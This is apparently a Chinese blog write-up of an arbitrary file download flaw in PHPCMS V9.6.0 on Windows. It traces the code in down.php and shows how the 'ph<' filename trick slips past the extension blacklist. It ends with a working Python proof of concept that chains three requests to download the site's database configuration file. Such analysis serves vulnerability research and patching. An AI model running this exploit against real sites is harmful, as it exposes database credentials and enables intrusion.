• PHPCMS V9 任意文件下载(Windows)


    先来看看PHPCMS V9.6.0的任意下载

    还是和上次的注入一样,是个由parse_str() 函数引发的变量覆盖。

     位于 /phpv9.6.0/phpcms/modules/content/down.php 的init() 函数  第11-82行

    先是获取$a_k = trim($_GET['a_k']);  跟注入分析的时候一样就不多bb了,

    参数f就是要下载的文件值,继续执行,当遇到p72行

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); 

    可以看到利用黑名单的策略,但是在windows下有个坑。文章(http://www.jinglingshu.org/?p=8790

    对于ph> ,在windows下得到的结果和php一样,这种特性造成了绕过,使得服务器上的文件得以下载。(我用的是mac,所以测试这个漏洞的时候,手动删除了php这个关键字来测试漏洞。)

    接着继续跟进:

    		if(preg_match('/(phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
    		if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
    			$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
    			$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
    			$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
    		} else {
    			$downurl = $f;			
    		}
    

      下面有个if的判断,如果在$f中存在 http://,ftp:// 这些字符串 ,将返回TURE,如果存在 :\ 字符串,将返回FALSE,但他用|| 连接而成,只要有一个TURE就能执行下面的内容。感觉这里可以放远程文件,没验证。(这里没验证,在download里面验证了)

    接着就是对$a_l的值进行加密,返回$downurl。  当你点击下载的时候,触发download函数,

    这时候的&a_k值是init()函数提供的,

    if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false))
    

      在106行的时候发现这句,对远程文件有个验证,如果存在:/这个字符串,就返回location:的内容 ,不进行后面的文件下载了。所以这里不能用远程文件,只能用相对路径。

    最后进行到file_down()函数里面,位于 /phpv9.6.0/phpcms/libs/functions/global.func.php  第1195-1204行

    读取$fulepath的内容,结束。

    测试的时候有个坑,在windows中,windows把 /当成了目录,但linux,对于/并不会把他当做。

    参考url:

    https://www.seebug.org/vuldb/ssvid-92959

    http://www.jinglingshu.org/?p=8790

    poc:基于上次的修改下payload,凑合着用

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # project = https://github.com/Xyntax/POC-T
    # author = i@cdxy.me
    
    
    
    import requests
    import re
    from urllib import quote
    
    TIMEOUT = 3
    
    
    
    
    def poc(url):
    
        payload = "%26id%3D1%26m%3D1%26f%3Dcaches%252fconfigs%252fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26"
    
        cookies = {}
        step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
        for c in requests.get(step1, timeout=TIMEOUT).cookies:
            if c.name[-7:] == '_siteid':
                cookie_head = c.name[:6]
                cookies[cookie_head + '_userid'] = c.value
                cookies[c.name] = c.value
                break
        else:
            return False
    
        step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
        for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
            if c.name[-9:] == '_att_json':
                enc_payload = c.value
                break
        else:
            return False
    
        setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
        r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
        print r.content
    
    print poc('http://phpstudy.com/phpv9.6.0/')
    

      

  • 相关阅读:
    奇妙的html 和 Css【关于html、Css 开发中重要的细节和一些小奇怪现象】
    JavaWeb项目img标签的图片无法加载的原因及解决方法
    批量建堆(二叉堆【完全二叉堆】)~~批量建堆
    为什么要面向对象(转)
    不从0开始序列的matlab卷积实验
    虚数、傅里叶变换中负频率的意义
    运动的6个自由度
    转载:关于Ω, f, w的前世今生
    利用matplotlib画用于机器学习的K线图练手任务
    信息工程学院——电子信息工程到底学什么?
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6881609.html
Copyright © 2020-2023  润新知